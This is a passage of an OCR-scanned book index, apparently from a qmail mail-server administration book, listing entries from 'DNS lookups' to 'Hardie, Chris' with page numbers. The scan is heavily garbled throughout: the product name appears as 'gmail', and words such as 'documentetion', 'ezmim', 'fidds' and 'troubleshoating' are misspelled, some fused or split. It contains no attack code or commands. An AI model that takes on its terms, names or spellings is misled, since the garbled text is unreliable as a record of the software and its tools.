DNS lookups and SM TP sowness gotcha, 467
DNS patches, 251 252

dnscache, and djbdns, 251 252

doc /var/gmail directory, 17

documentetion, 20 23

documentsinstalled under /var/gmail/doc, 21
domain (host), setting in messages, 128 129
domain mailboxes, and Fetchmail, 370
domains, and routing by, 14
doqueuefunctioningmailctl, 162

dot (.)

in extension addresses gotcha, 466
dot-forward package, 237 239, 433
dot-gmail files, 136

dot-gmail utilities, 148 156

bouncesaying, 148 149

condredirect, 150

except, 151

forward, 152

preline, 155

greceipt, 155 156

doublebouncehost control file, 100
doublebounceto control file, 100
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e-mal information, 446

EICAR (European Ingtitute for Computer Anti-Virus Research), 413-414
822field, and extracting header fields, 141
equtility, 151

env examplefilelisting, 135

envelopes

envelope return paths, variable, 394-395
envel ope sender address, setting, 129-130
vs. headers, 444-446

environment variables

gmail-command, 142-144

gmall-inject, 127-133

RELAYCLIENT, 422

requirements for gmail-smtpd, 421-423
tcp-env, 187

envnoathost control file, 101

error messages, 457-464

beginning with "Sorry...," 458-459
bounce, 459-463

interactive, 457

log, 457-459

errors, See also fixing common problems; troubleshooting
inmultipleddliveries, 139-140

European Ingtitute for Computer Anti-Virus Research (EICAR), 413-414
example header andysis, troubleshooting, 216-217
except dot-gmail utility, 151

Exim, 11-12

exit etatus eodes, gmail-queue, 134

Ext2 queue workarounds, 34

extenson addresses, 141

dots (.) in gotcha, 466

filtering messages and, 145-146

junk mail control and, 287, 294

ezmlim, 297-305

basics, 297, 433-434

ingdling, 298-301

subscribing and unsubscribing, 304-305
tegting, 301-302

understanding ezmim-idx, 298

usng, 302-304

VERPand, 297, 395

ezmim+idx, 298, 433-434




<ezmim@lis.cr.yp.to> mailing lig, 25
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FAQssdites, 21

fastforward

basics, 434

implementing diasesudng, 247-249
features of gmail, 449-455

basics, 12-15

message congtruction features, 450
POP3 service festures, 455

queue management features, 451-452
routing by domain festures, 453
security features, 449-450

setup features, 449

SMTP ddlivery fesatures, 453
SMTP sarvicefeatures, 450-451
Fetchmail, 369-370

fidds

822fidd, 141

required, 420

Resent-fields, and gmail-inject, 420
troubleshooting Cc fidds, 215
troubleshoating usng

Datefidds, 214

Message-1D fields, 214

Recaved fidds, 212-213
Resent-fields, 215

Tofidds, 215

filegtructure, 17

filesysems

queue, and requirements, 33-35
secting, 279-280

files, See also contral files

cregting basic configuration files, 43
dot-gmail files, 136, 287

for Mgordomo ligts, 313
information storage, and inodes, 204
names of in grep output, 193
PICfiles, 19

system startup files configuration, 68-76
gmail services, 73-76

gmailctl script, 68-73

filteringmail, 144-148

extenson addresses, 145-146




junk mail, 292-293

maildrop, 148

procmail, 146-148

fixing common problems, See also error messages; troubleshooting
local users can't send mail, 223

mail not accepted from remote hosts, 219
mail not delivered to local user, 220-221
mail not delivered to remote address, 221-222
mail not retrievable by users, 222
flaggingjunk mail, 292, 293

flush functioningmailctl, 162

formats

boot script and mailbox formats, 66-68
mailbox formets, 243

sdection for mailboxes, 29-32

forward ddliveries, 138-139

forward dot-gmail utility, 152
forwarding support, 14

FreeBSD, 60

Fromfield

and troubleshooting, 215

Setting, 129

functions

mall serversfunctions, 396

MLMs

basic functions, 325

list maintenance function, 325
resending function, 325

gmalctl

armfunction, 162

cdb function, 164

cont function, 164

doqueue function, 162

flush function, 162

help function, 165

hup function, 163

pause function, 163

queuefunction, 164

reload function, 163

restart function, 162

script functions, 161-165

dart function, 161

gt function, 163, 189, 201
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generd purpose mail server, 226
getmail, 371-374, 434

GNU Privacy Guard (GnuPG), 264
gotchas, 465-468

Greenwich Mean Time (GMT) in message headers, 213
grep command, file matches and, 193
groups, cregting, 41-42, 59-61
Guenter, Bruce

glogtools and, 436
gmail-autoresponder and, 436
gmail-gfilter and, 436
QMAILQUEUE patch and, 405
relay-ctrl package and, 114

syncdir and, 440

VMailMgr and, 377, 441
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Haar, Jason, and Qmail-Scanner, 404 414, 437
Hampton, Catherine A., and SpamBouncer, 293
hard ddlivery errors, 140

Hardie, Chris, and anti-